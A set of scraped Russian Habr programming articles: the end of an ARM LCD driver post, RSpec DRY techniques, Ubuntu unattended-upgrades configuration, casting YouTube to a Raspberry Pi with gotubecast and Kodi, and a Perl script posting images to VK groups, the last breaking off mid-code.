#define LCD\_DELAY (tU32) (1500/portTICK\_PERIOD\_MS)
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: constructor
\* Description: Создает экземпляр класса cLcdDriver и передает его в создаваемый
\* экзепляр класса cScreenManager, для вывода изображения на Lcd
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
cLcdDirector::cLcdDirector(const cVariablesDirector \*pVariablesDirector)
{
ASSERT(pVariablesDirector != NULL);
this->pLcdDriver = new cLcdDriver();
this->pScreenManager = new cScreenManager(this->pLcdDriver,
pVariablesDirector);
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: run
\* Description: Задача управления выводом на идикатор. Ждет нотификацию от кнопок
\* по первой кнопке меняем скрины, по второй режим вывода.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void cLcdDirector::run(void)
{
tU32 button = (tU32) 0;
tBoolean status = FALSE;
tButtons eButton = BT\_none;
for(;;)
{
status = (tBoolean)oRTOS.taskNotifyWait((tU32)0, (tU32)ULONG\_MAX, &button, LCD\_DELAY);
if (status == TRUE) //lint !e731 Сравниваем чтобы было понятнее
{
eButton = (tButtons)button;
switch (eButton)
{
case BT\_button1:
this->pScreenManager->nextScreen();
break;
case BT\_button2:
this->pScreenManager->nextMode();
break;
case BT\_none:
break;
default:
break;
}
}
this->pScreenManager->show();
}
}
```
И вот он результат 4 недельного разбирательства с АРМ контроллером:
По окончании почистил проект линтом, он много чего обнаружил, вот пример найденной ошибки:
Info 750: local macro 'Symbol\_26' (line 65, file AHardware\Lcd\lcddriver.cpp) not referenced
Info 750: local macro 'Symbol\_3E' (line 89, file AHardware\Lcd\lcddriver.cpp) not referenced
А ведь и правда, вот в этом массиве файла lcddriver.cpp, сработал копипаст и два символа просто пропали, возможно это было бы обнаружено во время тестирования, а возможно и нет, но линт хорошая штука.
*//таблица конвертации (ASCI кода буквы — ASCI код ' '(пробела)) в значение на сегментах индикатора
const tU32 cLcdDriver::charToLcdSymbol[] =
{
Symbol\_20,
Symbol\_21, Symbol\_22, Symbol\_23, Symbol\_24, Symbol\_25,
**Symbol\_27**, Symbol\_27, Symbol\_28, Symbol\_29, Symbol\_2A,
Symbol\_2B, Symbol\_2C, Symbol\_2D, Symbol\_2E, Symbol\_2F,
Digit\_0, Digit\_1, Digit\_2, Digit\_3, Digit\_4,
Digit\_5, Digit\_6, Digit\_7, Digit\_8, Digit\_9,
Symbol\_3A, Symbol\_3B, Symbol\_3C, Symbol\_3D,
**Symbol\_3D**, Symbol\_3F, Symbol\_40, Symbol\_A,
Symbol\_B, Symbol\_C, Symbol\_D, Symbol\_E, Symbol\_F,
Symbol\_G, Symbol\_H, Symbol\_I, Symbol\_J, Symbol\_K,
Symbol\_L, Symbol\_M, Symbol\_N, Symbol\_O, Symbol\_P,
Symbol\_Q, Symbol\_R, Symbol\_S, Symbol\_T, Symbol\_U,
Symbol\_V, Symbol\_W, Symbol\_X, Symbol\_Y, Symbol\_Z
};*
Ну что же на этом пока все. Реализованы все поставленные (мною для меня же) требования, использована ОСРВ, без единого семафора и критической секции (за исключением синхронизации по нотификации никаких дополнительных «сложны вещей», остальные данные берутся атомарно и не требуют блокировки).
Мое личное наблюдение и мнение — за 8 лет микропроцессоры шагнули вперед. Программирование все больше похоже на высокоуровневое, появилось много новых полезных блоков, и думаю, что студентам очень понравится. | https://habr.com/ru/post/261837/ | null | ru | null |
# Применение принципа DRY в RSpec

DRY(Don’t Repeat Yourself) — один из краеугольных принципов современной разработки, а особенно в среде ruby-программистов. Но если при написании обычного кода повторяющиеся фрагменты обычно легко можно сгруппировать в методы или отдельные модули, то при написании тестов, где повторяющегося кода порой еще больше, это сделать не всегда просто. В данной статье содержится небольшой обзор средств решения подобных проблем при использовании BDD-фреймворка RSpec.
#### 1. Shared Examples
Самый известный и часто используемый метод создания многократно используемого кода для Rspec. Отлично подходит для тестирования наследования классов и включений модулей.
```
shared_examples "coolable" do
let(:target){described_class.new}
it "should make cool" do
target.make_cool
target.should be_cool
end
end
describe User do
it_should_behave_like "coolable"
end
```
Кроме того Shared Example Groups обладают и некоторым дополнительным функционалом, что делает их гораздо более гибкими в использовании: передача параметров, передача блока и использование let в родительской группе для определения методов.
```
shared_examples "coolable" do |target_name|
it "should make #{ target_name } cool" do
target.make_cool
target.should be_cool
end
end
describe User do
it_should_behave_like "coolable", "target user" do
let(:target){User.new}
end
end
```
Подробнее о том, где и как будут доступны определенные методы, можно прочитать у Дэвида Челимски[2].
#### 2. Shared Contexts
Данная фича несколько малоизвестна в силу своей относительной новизны(появилась в RSpec 2.6) и узкой области применения. Наиболее подходящей ситуацией для использования shared contexts является наличие нескольких спеков, для которых нужны одинаковые начальные значения или завершающие действия, обычно задаваемые в блоках before и after. На это намекает и документация:
```
shared_context "shared stuff", :a => :b do
before { @some_var = :some_value }
def shared_method
"it works"
end
let(:shared_let) { {'arbitrary' => 'object'} }
subject do
'this is the subject'
end
end
```
Очень удобной вещью в shared\_context является возможность их включения по метаинформации, заданной в блоке describe:
```
shared_context "shared with somevar", :need_values => 'some_var' do
before { @some_var = :some_value }
end
describe "need som_var", :need_values => 'some_var' do
it “should have som_var” do
@some_var.should_not be_nil
end
end
```
#### 3. Фабрики объектов
Еще один простой, но очень важный пункт.
```
@user = User.create(
:email => ‘example@example.com’,
:login => ‘login1’,
:password => ‘password’,
:status => 1,
…
)
```
Вместо многократного написания подобных конструкций следует использовать гем [factory\_girl](https://github.com/thoughtbot/factory_girl) или его аналоги. Преимущества очевидны: уменьшается объем кода и не нужно переписывать все спеки, если вы решили поменять status на status\_code.
#### 4. Собственные матчеры
Возможность определять собственные матчеры — одна из самых крутых возможностей в RSpec, благодаря которой можно нереально повысить читабельность и элегантность ваших спеков. Сразу пример.
До:
```
it “should make user cool” do
make_cool(user)
user.coolness.should > 100
user.rating.should > 10
user.cool_things.count.should == 1
end
```
После:
```
RSpec::Matchers.define :be_cool do
match do |actual|
actual.coolness.should > 100 && actual.rating.should > 10 && actual.cool_things.count.should == 1
end
end
it “should make user cool” do
make_cool(user)
user.should be_cool
end
```
Согласитесь, стало в разы лучше.
RSpec позволяет задавать сообщения об ошибках для собственных матчеров, выводить описания и выполнять чейнинг, что делает матчеры гибкими настолько, что они просто ничем не отличаются от встроенных. Для осознания всей их мощи, предлагаю следующий пример[1]:
```
RSpec::Matchers.define :have_errors_on do |attribute|
chain :with_message do |message|
@message = message
end
match do |model|
model.valid?
@has_errors = model.errors.key?(attribute)
if @message
@has_errors && model.errors[attribute].include?(@message)
else
@has_errors
end
end
failure_message_for_should do |model|
if @message
"Validation errors #{model.errors[attribute].inspect} should include #{@message.inspect}"
else
"#{model.class} should have errors on attribute #{attribute.inspect}"
end
end
failure_message_for_should_not do |model|
"#{model.class} should not have an error on attribute #{attribute.inspect}"
end
end
```
#### 5. Однострочники
RSpec предоставляет возможность использования однострочного синтаксиса при написании простых спеков.
Пример из реального opensource-проекта([kaminari](https://github.com/amatsuda/kaminari)):
```
context 'page 1' do
subject { User.page 1 }
it { should be_a Mongoid::Criteria }
its(:current_page) { should == 1 }
its(:limit_value) { should == 25 }
its(:total_pages) { should == 2 }
it { should skip(0) }
end
end
```
Явно гораздо лучше, чем:
```
context 'page 1' do
before :each do
@page = User.page 1
end
it “should be a Mongoid criteria” do
@page.should be_a Mongoid::Criteria
end
it “should have current page set to 1” do
@page.current_page.should == 1
end
….
#etc
```
#### 6. Динамически создаваемые спеки
Ключевым моментом здесь является то, что конструкция it (как впрочем и context и describe) является всего лишь методом, принимающим блок кода в качестве последнего аргумента. Поэтому их можно вызывать и в циклах, и в условиях, и даже составлять подобные конструкции:
```
it(it("should process +"){(2+3).should == 5}) do
(3-2).should == 1
end
```
Оба спека кстати проходят успешно, но страшно даже подумать, где такое можно применить, в отличие от тех же циклов и итераторов. Пример из той же Kaminari:
```
[User, Admin, GemDefinedModel].each do |model_class|
context "for #{model_class}" do
describe '#page' do
context 'page 1' do
subject { model_class.page 1 }
it_should_behave_like 'the first page'
end
…
end
end
end
```
Или же пример с условиями:
```
if Mongoid::VERSION =~ /^3/
its(:selector) { should == {'salary' => 1} }
else
its(:selector) { should == {:salary => 1} }
end
```
#### 7. Макросы
В 2010 году, после введения нового функционала shared examples, Дэвид Челимски заявил, что макросы больше не нужны. Однако если вы все же считаете, что это наиболее подходящий способ улучшить код ваших спеков, вы можете создать их примерно так:
```
module SumMacro
def it_should_process_sum(s1, s2, result)
it "should process sum of #{s1} and #{s2}" do
(s1+s2).should == result
end
end
end
describe "sum" do
extend SumMacro
it_should_process_sum 2, 3, 5
end
```
Более подробно останавливаться на этом пункте смысла не вижу, но если вам захочется, то можно почитать [4].
#### 8. Let и Subject
Конструкции let и subject нужны для инициализации исходных значений перед выполнением спеков. Конечно все и так в курсе, что писать так в каждом спеке:
```
it “should do something” do
user = User.new
…
end
```
совсем не здорово, но обычно все пихают этот код в before:
```
before :each do
@user = user.new
end
```
хотя следовало бы для этого использовать subject. И если раньше subject был исключительно “безымянным”, то теперь его можно использовать и в явном виде, задавая имя определяемой переменной:
```
describe "number" do
subject(:number){ 5 }
it "should eql 5" do
number.should == 5
end
end
```
Let схож с subject’ом, но используется для объявления методов.
#### Дополнительные ссылки
1. Custom RSpec-2 Matchers
[solnic.eu/2011/01/14/custom-rspec-2-matchers.html](http://solnic.eu/2011/01/14/custom-rspec-2-matchers.html)
2. David Chelimsky — Specifying mixins with shared example groups in RSpec-2
[blog.davidchelimsky.net/2010/11/07/specifying-mixins-with-shared-example-groups-in-rspec-2](http://blog.davidchelimsky.net/2010/11/07/specifying-mixins-with-shared-example-groups-in-rspec-2/)
3. Ben Scheirman — Dry Up Your Rspec Files With Subject & Let Blocks
[benscheirman.com/2011/05/dry-up-your-rspec-files-with-subject-let-blocks](http://benscheirman.com/2011/05/dry-up-your-rspec-files-with-subject-let-blocks)
4. Ben Mabey — Writing Macros in RSpec
[benmabey.com/2008/06/08/writing-macros-in-rspec.html](http://benmabey.com/2008/06/08/writing-macros-in-rspec.html)
А в заключение могу только сказать могу только сказать — старайтесь меньше повторяться. | https://habr.com/ru/post/160915/ | null | ru | null |
# Теория и практика unattended upgrades в Ubuntu
**Unattended upgrades** — это родной для Debian/Ubuntu (и других основанных на них дистрибутивов GNU/Linux) механизм автоматических обновлений. **По умолчанию** он включён в системе благодаря наличию установленного пакета `unattended-upgrades` и конфигурационного файла `/etc/apt/apt.conf.d/50unattended-upgrades`, а настроен на обновления пакетов **только из security-репозитория**, куда попадают, например, критичные исправления для пакета libssl, которые выходят в результате очередного пополнения базы уязвимостей CVE.

***Примечание**: здесь и далее рассматриваются unattended upgrades в контексте серверных редакций Ubuntu, что скорее всего применимо «как есть» и к другим дистрибутивам, но могут встречаться свои особенности, оставшиеся вне рамок статьи.*
Итак, какие дополнительные возможности предоставляют unattended upgrades *(помимо включённых по умолчанию security updates)* и к каким проблемам они могут привести?
Слово «unattended» в названии этого механизма действительно важно в его буквальном переводе — «без присмотра». Почему так? Достаточно вспомнить, что пакеты при установке генерируют файлы `.dpkg-new`, в которых оказывается новый конфиг для пакета (если контрольная сумма конфига в устанавливаемой пакете отличается от контрольной суммы конфига в системе). Это обстоятельство стоит учитывать, потому что иначе можно получить новую версию софта, которая **больше не работает с опцией, добавленной вами в конфиг**, и после установки пакета сервис/приложение просто не запустится. Поэтому, собирая или заимствуя пакет в свой репозиторий, помните, что установка такого пакета не обновит конфиги сама, так что, например, если конфиги версий не совместимы *(что актуально в случае более значимого обновления, чем исправление в безопасности)*, может получиться очень неприятная ситуация, когда все давно уже спят, а ваш пакет выкатился на куче серверов и «Всё сломалось, шеф!».
К слову о времени срабатывания unattended upgrades пакетов: проверка обновлений и их установка в системах Ubuntu/Debian определяется в `/etc/cron.daily/apt`. Файл запускается из `/etc/crontab`, в котором по умолчанию задано раннее утро (06:25).
Применение для репозитория/PPA
------------------------------
Перейдём к практике. У нас была следующая проблема: один пакет устанавливался на все серверы, но не в родной его версии, а с определенными модификациями. Что делать? Очевидные варианты:
* «Давайте проклянём на несколько часов одного из стажёров и пусть себе выкатывает!» — возможно, это и окажется полезным для стажёра, но только на этапе обучения работы с системой и при условии, что он совсем не умеет работать apt. Дальше это действительно превратится в проклятие. Вдобавок, получаемый результат будет больше зависим от человеческого фактора, чем хотелось бы.
* «Выкатить везде с Chef/Puppet/Ansible/…!» — отличная мысль, но не наш случай на тот момент и в той ситуации. Ради одного пакета пришлось бы победить дракона, т.е. завести множество машин в выбранную систему управления конфигурациями.
* Поскольку статья посвящена unattended upgrades, легко догадаться, что именно этот механизм и предлагает иной способ решить задачу, не потратив на неё множество человекочасов…
Действительно: конфигурация unattended upgrades позволяет активировать автоматическое получение всех обновлений какого-либо пакета для выбранного репозитория — например, вашего собственного или PPA, которому вы имеете основания **очень** доверять. Чтобы вся эта автомагия заработала на минимальном уровне, достаточно на целевой машине создать конфиг `/etc/apt/apt.conf.d/51unattended-upgrades-custom`, в котором будут всего три строки:
```
Unattended-Upgrade::Allowed-Origins {
"Origin:Suite";
};
```
Если у вас свой репозиторий, то слова `Origin` и `Suite` должны как минимум вызывать ассоциации из разряда «Где-то я уже это видел…». Подскажу, что такие параметры можно увидеть у репозитория на самой машине, где должен обновляться пакет, в файле `*_InRelease`. Иллюстрация для хорошо известной `ppa:nginx/stable`:
```
$ head -10 /var/lib/apt/lists/ppa.launchpad.net_nginx_stable_ubuntu_dists_trusty_InRelease
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Origin: LP-PPA-nginx-stable
Label: NGINX Stable
Suite: trusty
Version: 14.04
Codename: trusty
Date: Sat, 11 Feb 2017 21:55:33 UTC
Architectures: amd64 arm64 armhf i386 powerpc ppc64el
```
Видим два параметра:
* `Origin` — «происхождение» репозитория, что может указывать на имя мейнтейнера или самого репозитория;
* `Suite` — ветка дистрибутива; например, stable, testing для Debian или trusty, xenial для Ubuntu.
***Примечание**: Более подробную документацию по файлам Release/InRelease и используемым в них параметрах см. на [wiki.debian.org](https://wiki.debian.org/DebianRepository/Format#A.22Release.22_files).*
Таким образом, если у вас свой репозиторий пакетов, нужно добавить эти параметры. В результате, для данного примера с PPA `nginx/stable` конфигурация, разрешающая unattended upgrades для всех пакетов из него, будет выглядеть следующим образом:
```
Unattended-Upgrade::Allowed-Origins {
"LP-PPA-nginx-stable:trusty";
};
```
Эти настройки логично автоматизировать (тем методом, который вам наиболее близок и/или уже используется), создавая все необходимые конфигурационные файлы при разворачивании новых инсталляций ОС. А проверить, как себя поведёт очередной запуск unattended upgrades, можно следующим образом:
```
$ unattended-upgrade -v --dry-run
```
Флаги здесь простые: `-v` — быть более многословным, а `--dry-run` — не применять изменения. При пробном запуске мы сразу увидим, что у этого решения могут быть **обратные стороны**:
* Если установка пакета требует интерактивности, т.е. вмешательства пользователя (особенно актуально, если вы делаете масштабное обновление системы, поскольку уже давно этого не делали) — unattended upgrades просто ничего не будут делать.
* Пример с автоматическим обновлением nginx из PPA не стоит проверять в реальной жизни production, если только вы не хотите прослыть «грязным Гарри» обновления пакетов. Ещё раз вспомните название утилиты и запомните, что обновлять так можно только то, что действительно не требует **никакого присмотра**. Например, библиотеки (хотя даже тут бывают подводные камни, если вспомнить хотя бы недавние танцы Ubuntu с [libc](https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/1674733) и [сломанным DNS resolver](https://www.ubuntu.com/usn/usn-3239-1/)) и софт, не требующий конфигурации и запускающийся по требованию (atop, htop и подобные).
Ещё один «обратный» пример, который даже не относится к добавлению специфичных PPA в unattended upgrades, но с которым мы не раз сталкивались на практике, — это обновления безопасности для PostgreSQL. В стандартной конфигурации Ubuntu Server (т.е. установки только обновлений безопасности через unattended upgrades) автоматическое обновление критичных уязвимостей в этой СУБД приводило к её **рестарту** в то время, когда не все этого ожидали. Если такое поведение может оказаться неожиданным (нежелательным) и для вашего случая — см. опцию `Package-Blacklist` ниже.
Дополнительные возможности
--------------------------
В `/etc/apt/apt.conf.d/50unattended-upgrades` можно увидеть, что ещё умеют unattended upgrades. Настроек не так много, но некоторые из них полезны:
* `Package-Blacklist` — список пакетов, которые запрещено обновлять подобным способом. Тут же нам в примере сразу предлагают это сделать для libc, а выше описан другой пример — с PostgreSQL. Но помните, что на другой чаше весов: откладывая критичные исправления, вы **рискуете безопасностью**.
* `AutoFixInterruptedDpkg` — если последний процесс установки/обновления не смог завершиться по каким-либо причинам, вероятно, вам приходилось исправлять ситуацию вручную. То же самое делает и эта опция, т.е. вызывает `dpkg --force-confold --configure -a`. Обратите внимание, что здесь указана опция `--force-confold` — она означает, что будут сохранены старые версии конфигов, если возникнут конфликты.
* `MinimalSteps` — выполнять обновления минимально возможными частями. Позволяет прервать обновление отправкой SIGUSR1 процессу unattended-upgrade.
* `InstallOnShutdown` — устанавливать обновления перед выключением компьютера. Лично мне кажется плохой идеей, т.к. не хотелось бы получить труп после плановой перезагрузки сервера.
* `Mail` и `MailOnlyOnError` — кому отправлять письма об обновлениях и/или проблемах с ними. Письма отправляются через стандартный MTA sendmail (используется переменная окружения `SENDMAIL_BINARY`). К сожалению, только письма, а выполнять curl к какому-то API здесь нельзя.
* `Automatic-Reboot` — перезагружать автоматически после окончания установки, если есть файл `/var/run/reboot-required`. Сам файл появляется, например, после установки пакета ядра Linux, когда срабатывает правило `/etc/kernel/postinst.d/update-notifier`. В общем, ещё одна опция из набора «грязного Гарри».
* `Automatic-Reboot-Time` — если вы хотите сделать свои тёмные дела ночью, пока никто не видит… задаёт конкретное время автоматической перезагрузки.
* `Acquire::http::Dl-Limit` — это уже из общего набора параметров apt. Ограничивает скорость загрузки обновлений, чтобы не забить канал.
Выводы
------
Unattended upgrades — инструмент автоматической установки обновлений, встроенный в дистрибутивы на базе Debian и Ubuntu. Обычно его используют для установки обновлений безопасности (security updates) из соответствующего репозитория, но легко расширить применение и на любые другие репозитории. Инструмент будет полезен для поддержки простых в установке и обновлении программ и скриптов, собранных в пакеты, — для реализации требуется лишь собственно репозиторий и несколько строк в конфиге на обновляемой машине.
Но помните, что простота инструмента ещё не значит, что вы не ударите им себе по пальцам: не настраивайте автоматические обновления сложных или критичных сервисов, если вы не уверены на 100 % в безопасности этого действия и это никак не повлияет на продолжительность сна вас и ваших коллег. | https://habr.com/ru/post/330406/ | null | ru | null |
# Cтримим и кaстим youtube и не только… через raspberry pi c Gotubecast и KODI TubeCast

Насколько сложно передавать youtube музыку или видео через телефон или другие портативные, мобильные устройства на вашу Raspberry pi? А если не портативные? А просто управлять медиа контентом через Windows или Linux PC? Оказывается что нет. Я хочу рассмотреть установку, и настройку нескольких приложений на вашу малинку с помощью которых мы можем это сделать.
Будем предполагать, что стриминг в данной ситуации это процесс передачи какого-либо медиа контента, который находится где-то на сайтах в интернете или допустим на локальном сервере с нашей медиа библиотекой для проигрывания оного на raspberry pi. А кастинг в свою очередь, от слова cast когда мы «перекидываем управление» медиа контентом какого-либо внешнего устройства на наш телевизор, а точнее на нашу raspberry pi, подключенную к телевизору или музыкальному центру. В данной ситуации через мобильный, запустив ваше youtube приложение мы перенаправляем вывод видео или музыки через нашу малинку на телевизор. Не забудьте подключить вашу raspberry pi к телевизору через HDMI.
Есть два варианта рассмотреть эти приложения. Первый вариант, мы все настроили в нашем проекте ViaMyBox и вы можете не утруждать себя различными нюансами настройки linux, в данном варианте raspbian buster и скачать дистрибутив <https://viamybox.com/downloadpage/> или напрямую с raspberry pi из репозитория:
```
cd /home/pi
git clone https://github.com/viatc/viamybox.git
```
и запустить скрипт -> Home Theatre -> Cast youtube:
```
sudo /home/pi/viamybox/scripts/via-setup.sh
```
Ну или настройте все сами так, как нравится только вам, следуя примерам ниже. Я не буду сравнивать и описывать подробно функционал в данной статье данных приложений, а просто поделюсь опытом настройки и установки и нюансами с которыми я столкнулся.
#### Встречаем! Gotubecast
Страница проекта:
<https://github.com/CBiX/gotubecast>
Gotubecast представляет собой небольшую программу, чтобы сделать свой собственный ТВ-плеер на YouTube. Другими словами запустив на raspberry pi gotubecast, мы сможем через youtube приложение телефона или других устройств подключится к raspberry pi и запустить youtube ролик на телевизоре.

Но для того чтобы это произошло потребуется сделать несколько действий для этого…
Данная программа написана на Go. Поэтому надо его установить:
```
cd /home/pi
#скачаем версию
wget https://dl.google.com/go/go1.13.7.linux-armv6l.tar.gz
#разархивируем ее
sudo tar -C /usr/local/ -xvzf go1.13.7.linux-armv6l.tar.gz
#создадим папку для нашего проекта
mkdir -p projects/{src,pkg,bin}
#отредактируем наш
nano /home/pi/.profile
```
И запишем в него наши переменные окружения:
```
export PATH=$PATH:/usr/local/go/bin
export GOBIN="$HOME/projects/bin"
export GOPATH="$HOME/projects/src"
export GOROOT="/usr/local/go"
```
Проверяем этот пакет:
```
go version
```
Затем установим наш gotubecast:
```
cd /home/pi
go get github.com/CBiX/gotubecast
```
В проекте, который находится в нашей созданной папке /home/pi/projects/src/src/github.com/CBiX/gotubecast/examples автор предусмотрительно написал скипт raspi.sh для raspberry, упрощающий запуск gotubecast.
Запускаем его и вот уже магия близко…
```
cd /home/pi/projects/src/src/github.com/CBiX/gotubecast/examples
./raspi.sh
```
После запуска скрипта мы увидим строку, что-то типа
Your pairing code: 901-900-123-183
Она позволит нам найти наш телевизор через телефон. Идем в приложение youtube application в телефоне и далее через иконку аккаунта в настройки -> просмотр телевизора и вбиваем наш код. После этого появляется иконка, через которую и будет доступен просмотр youtube через нашу raspberry pi.


Но телевизор может теряться в случае отсутствия связки raspberry pi с google приложением длительное время и т п, И потому, помимо pairing code есть возможность привязать «навсегда» ваш телевизор к вашему goggle приложению с помощью Screen Id.
Сгенерируем его на нашей raspberry pi:
```
wget https://www.youtube.com/api/lounge/pairing/generate_screen_id
cat generate_screen_id
```
И добавим его в файлик:
```
nano /home/pi/projects/src/src/github.com/CBiX/gotubecast/examples/raspi.sh
```
в переменную на следующей строке:
export SCREEN\_ID=«aauaju8Example5539vbb»
Чтобы запускать все это сразу при старте, сделайте себе маленький сервис-демон в папке:
```
sudo nano /lib/systemd/system/gotubecast.service
```
и в нем:
```
[Unit]
Description=Cast youtube
Wants=network-online.target
After=network.target network-online.target
[Service]
Type=simple
ExecStart=/bin/bash /home/pi/projects/src/src/github.com/CBiX/gotubecast/examples/raspi.sh
Restart=on-abort
User=pi
Group=pi
[Install]
WantedBy=multi-user.target
```
Далее инициализируем его в системе:
```
systemctl enable gotubecast.service
```
И он будет запускаться при старте системы. Как выяснилось демон запускаясь, в случае отсутствия сети падает. Точнее raspi.sh не находит сеть. Можно через sudo raspi-config.sh сделать настройку ожидания сервисами сети, но вообще-то приятнее, когда загрузка raspbian происходит быстро) Поэтому пусть скрипт сам проверяет сеть. Добавьте проверочку-ожидание в файл raspi.sh:
```
while ! ping -q -c 1 8.8.8.8 >/dev/null ; do sleep 1; done
```
скопируем gotubecast в папочку для наших исполняемых файлов
```
sudo cp /home/pi/projects/bin/gotubecast /usr/bin/
```
И все готово :-)
Да если вы не линуксоид и у вас рябит в глазах от команд, я автоматизировал весь вышеописанный процесс в скрипте и это выглядит так:

Чтобы им воспользоваться скачайте проект через сайт или через github:
```
git clone https://github.com/viatc/viamybox.git
```
и запустите скрипт /home/pi/viamybox/scripts/via-setup.sh и перейдите в меню Home theatre:
```
cd /home/pi
git clone https://github.com/viatc/viamybox.git
sudo /home/pi/viamybox/scripts/via-setup.sh
```
Проверено на Raspbian Buster OS.
#### Запускаем Youtube через KODI
Если у вас стоит KODI, то запустить youtube ролик через него гораздо проще. Для этого потребуется просто установить плагин TubeCast. Из плюсов данный плагин kodi не требует первоначальной настройки и плагин прекрасно «видит» нашу raspberry pi и без забивания pairing code вручную.

И после установки плагина вы сразу увидите cast иконку на вашем andriod youtube application или на youtube страничке в браузере.

Из описания, следует что это реализация Сast V1 протокола для Youtube мобильных приложений, который в свою очередь основан на DIAL протоколе через SSDP. Данная технология позволяет подключиться к вашему youtube каналу как внешнему сервису через интернет. Это позволяет найти ваше устройство с KODI на борту даже не будучи в одной сети с ним. Просто обновите свой pairing code на транслирующем устройстве. Таким образом мы связываем два устройства и передаем управление через одно устройство к другому, но не сам медиа контент. Поэтому и передающее и принимающее устройство (в данном случае наша raspberry pi) должно быть в интернете.
Надеюсь было интересно. Если так, пишите комменты!
В следующей части я хотел бы рассказать о том как проигрывать youtube и другой медиа контент из консольного терминала медиакомбайнами mps-youtube и straw-viewer и raspicast. | https://habr.com/ru/post/503254/ | null | ru | null |
# Постим новости с картинкой в группы Вконтакта (Perl)
При создании информационных ресурсов часто приходится задумываться об автоматизации рутиной работы. В данной статье рассмотрим простой способ, при помощи нескольких строк Perl, как новости, спецпредложения, или другую полезную информацию, выложить на свою страничку или группу в соцсетях (Вконтакте). При этом с картинкой, текстом и ссылкой.

Краткий план:
1. Создаём приложение вконтакте.
2. Генерим Токен к приложению
3. Получаем URL сервера для закачивания картинок.
4. Закачиваем картинку на полученный ранее сервер.
5. Сохраняем картинку на сервере.
6. Вывешиваем новость с картинкой на страничку.
1. создаём приложение на сайте вконтакта.
Внизу сайта ссылка Разработчикам, и кнопка Создать Приложение.
Выбираем название и Standalone-приложение.
После создания на вкладке Настройки редактирования Приложения вы увидите ID вашего приложения.(запомнить).
2. Получаем Токен (ключь с помощью которого созданный скрипт будет авторизовываться на сайте). Для этого в браузере открываем страничку:
```
https://oauth.vk.com/authorize?client_id={ID}&scope=wall,photos,audio,video,docs,notes,groups,messages,notifications,stats,ads,notify,friends,offline&redirect_uri=http://oauth.vk.com/blank.html&display=page&response_type=token
```
, где
{ID} — id созданного приложения, например 1234563,
scope — это права для вашего приложения, что ему будет разрешено.
(wall -постить на стену, photos — закачивать фото, groups — доступ к группам, messages — отправлять сообщения, friends — доступ к друзьям и offline — для того чтобы ключь Токен никогда не заканчивался и скрипт всегда мог обратиться к сайту).
response\_type= token — получить Токен.
Далее переходим к скрипту:
#### Входные параметры:
```
#!/usr/bin/env perl
use strict;
use LWP;
use HTTP::Request::Common;
my $token = '55e43443343435355a3e70e805722345552227'; # так выглядит Токен полученый ранее
my $gid = '65596688'; # Это ID нашей группы в которую собираемся постить.
my $file = '/home/ds/test/2.jpg'; # Путь и файл картинки
my $site_url = 'http://example.com'; # Ссылка на сайт , которая будет видна в сообщении под картинкой
my $message = 'Спецпредложение по отдыху'; # Текст в сообщении над картинкой.
```
#### 3. Теперь нам надо получить сервер вконтакте, куда будем заливать картинку:
```
# Узнаём сервер для выкладывания картинки getWallUploadServer
my $url1 = "https://api.vkontakte.ru/method/photos.getWallUploadServer?gid=$gid&access_token=$token";
my $res_url = &get_data($url1);
$res_url =~ s/([\\'])?//g; # Убираем экранирующие слэши.
$res_url = $1 if ($res_url =~ m/.*?upload_url\"\:\"(.*?)\".*?/); # Достаём URL.
my ($url , $param) = split(/\?/, $res_url);
# Парсим url и достаём из него все параметры
my %url_param = map {split("=")} split("&", $param);
```
#### 4. Закачиваем картинку на указанный url:
```
my $ua = LWP::UserAgent->new (agent=>'Mozilla/5.0', requests_redirectable=>0);
my $res = $ua->request (
POST "$url",
Content_Type => 'multipart/form-data',
Content => [
'act' => $url_param{'act'},
'mid' => $url_param{'mid'},
'aid' => $url_param{'aid'},
'gid' => $url_param{'gid'},
'hash' => $url_param{'hash'},
'rhash' => $url_param{'rhash'},
'swfupload' => $url_param{'swfupload'},
'api' => $url_param{'api'},
'wallphoto' => $url_param{'wallphoto'},
'photo' => [$file],
],
) die("$!");
my $res_upload = $res->as_string();
$res_upload =~ s/([\\'])?//g; # Убираем экранирование.
# Вытаскиваем переменные из ответа сервера
my $server_upload = $1 if ( $res_upload =~ m/server\"\:(.*?),\".*/);
my $photo_upload = $1 if ( $res_upload =~ m/\"photo\"\:\"(.*?)\",\"hash.*/);
my $hash_upload = $1 if ( $res_upload =~ m/\"hash\"\:\"(.*?)\"}$/);
```
#### 5. После чего нам нужно записать на сервере загруженную картинку:
```
my $url2 = "https://api.vkontakte.ru/method/photos.saveWallPhoto?gid=$gid&access_token=$token&server=$server_upload&photo=$photo_upload&hash=$hash_upload";
my $res_save = get_data($url2);
my $ph_id = $1 if ( $res_save =~ m/\"id\"\:\"(.*?)\",\".*/); # Вытаскиваем из ответа данные картинки
```
#### 6. И последнее запостить её на стену:
```
my $url3 = "https://api.vkontakte.ru/method/"."wall.post?owner_id=-$gid&attachments=$ph_id,$site_url&from_group=1&access_token=$token"; # Готовим url для поста.
$url3 .="&message=$message" if ($message); # Если есть сообщение, то добавляем его.
my $res_post = get_data($url3);
```
, где owner\_id должен быть со знаком "-" (минус), т.к. это группа.
from\_group=1 — постить новость от имени группы.
В заключении небольшая процедура get\_data(), к которой обращались для передачи данных http.
```
my $url = shift;
